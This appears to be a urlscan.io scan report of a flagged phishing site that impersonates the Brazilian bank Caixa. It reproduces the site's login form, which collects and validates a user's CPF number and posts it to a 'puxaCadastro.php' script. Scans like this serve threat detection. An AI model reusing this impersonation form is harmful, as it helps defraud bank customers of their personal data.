atualizeauxx.xyz Open in urlscan Pro
200.9.154.176  Malicious Activity! Public Scan

Submitted URL: http://atualizeauxx.xyz/
Effective URL: https://atualizeauxx.xyz/
Submission: On April 18 via api from BR — Scanned from DE

Form analysis 1 forms found in the DOM

POST ./puxaCadastro.php

<form method="post" action="./puxaCadastro.php" id="loginForm">
  <script>
    let dynamicMask = null;
    const regex = /^((?!([0-9]{11})))^.+$/;
    document.addEventListener("DOMContentLoaded", function() {
      dynamicMask = new IMask(document.getElementById('cpfInput'), {
        mask: [{
          mask: '000.000.000-00'
        }, {
          mask: regex
        }]
      });
    });
    document.getElementById("loginForm").addEventListener("submit", function(event) {
      event.preventDefault(); // Impede o envio padrão do formulário
      var cpfInput = document.getElementById("cpfInput");
      var cpf = cpfInput.value.replace(/\D/g, ''); // Remove caracteres não numéricos
      var cpfAlert = document.getElementById("cpfAlert");
      if (!validarCPF(cpf)) {
        cpfAlert.style.display = "block"; // Exibe o alerta de CPF inválido
        cpfInput.focus();
      } else {
        cpfAlert.style.display = "none"; // Esconde o alerta de CPF inválido
        this.submit(); // Envie o formulário se o CPF for válido
      }
    });

    function validarCPF(cpf) {
      var Soma;
      var Resto;
      Soma = 0;
      if (cpf == "00000000000") return false;
      if (cpf == "11111111111") return false;
      if (cpf == "22222222222") return false;
      if (cpf == "33333333333") return false;
      if (cpf == "44444444444") return false;
      if (cpf == "55555555555") return false;
      if (cpf == "66666666666") return false;
      if (cpf == "77777777777") return false;
      if (cpf == "88888888888") return false;
      if (cpf == "99999999999") return false;
      for (i = 1; i <= 9; i++) Soma = Soma + parseInt(cpf.substring(i - 1, i)) * (11 - i);
      Resto = (Soma * 10) % 11;
      if ((Resto == 10) || (Resto == 11)) Resto = 0;
      if (Resto != parseInt(cpf.substring(9, 10))) return false;
      Soma = 0;
      for (i = 1; i <= 10; i++) Soma = Soma + parseInt(cpf.substring(i - 1, i)) * (12 - i);
      Resto = (Soma * 10) % 11;
      if ((Resto == 10) || (Resto == 11)) Resto = 0;
      if (Resto != parseInt(cpf.substring(10, 11))) return false;
      return true;
    }
  </script>
  <script>
    // Função para criar a animação dos três pontos
    function animateDots() {
      const nextButton = document.getElementById('nextButton');
      let intervalId = null;
      let dots = 0;
      // Desabilitar o botão
      nextButton.disabled = true;
      nextButton.style.backgroundColor = "grey";
      nextButton.style.color = "white";
      // Atualiza o texto do botão com os três pontos a cada 500 milissegundos
      intervalId = setInterval(() => {
        dots = (dots + 1) % 4;
        nextButton.innerHTML = 'Processando' + Array(dots + 1).join('.');
      }, 500);
      document.getElementById('loginForm').submit();
    }
  </script>
  <span class="float-label">
    <input id="cpfInput" name="cpf" type="text" inputmode="numeric" autofocus="" autocomplete="off" required="">
    <label for="cpf" class="text-font"><i class="fa-solid fa-user"></i> CPF </label>
  </span>
  <div class="button-group text-font">
    <button type="submit" id="nextButton" onclick="animateDots()">Próximo</button>
  </div>
  <section class="login-options">
  </section>
</form>

Text Content

LOGIN CAIXA

Informe seu CPF e clique em "Próximo" para continuar:

CPF Inválido.
CPF
Próximo